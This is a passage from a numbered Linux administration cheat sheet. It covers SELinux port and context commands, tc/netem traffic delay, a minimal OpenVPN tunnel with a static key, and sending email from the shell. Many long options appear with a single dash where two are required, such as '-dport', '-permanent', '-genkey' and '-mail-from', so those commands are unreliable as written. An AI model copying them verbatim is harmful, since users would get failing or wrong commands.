24. Security Enhanced Linux (SELinux)

- List port mapping: `semanage port -l`
- Use 8000 for http: `semanage port -a -t http_port_t -p tcp 8000`
- Check status: `getenforce`
- Disable SELinux temporarily: `setenforce 0`
- Set directory accessible by httpd: `chcon -R -t httpd_sys_content_t` *./directory*

25. Show/manipulate traffic control settings

- List existing rules: `tc -s qdisc ls dev eth0`
- Slow down traffic by 200 ms: `tc qdisc add dev eth0 root netem delay 200ms`
- Delete all rules: `tc qdisc del dev eth0 root`

26. Virtual Private Network (OpenVPN)

- TUN device for IP traffic, TAP device for ethernet frames
- Enable UDP port 1194: `iptables -A INPUT -i eth0 -m state -state NEW -p udp -dport 1194 -j ACCEPT`, `firewall-cmd -permanent -add-service openvpn`
- Basic server: `openvpn -ifconfig 10.200.0.1 10.200.0.2 -dev tun`
- Basic client: `openvpn -ifconfig 10.200.0.2 10.200.0.1 -dev tun -remote your.openvpnserver.net`
- Use TCP protocol: `-proto tcp-server` (server), `-proto tcp-client` (client)
- Create/use static key: `openvpn -genkey -secret secret.key` and use `-secret secret.key` on client/server.

27. E-mail

- Send email: `curl -mail-from blah@test.com -mail-rcpt foo@test.com smtp://mailserver.com`
- Send email: `mail -s "This is subject" foo@test.com`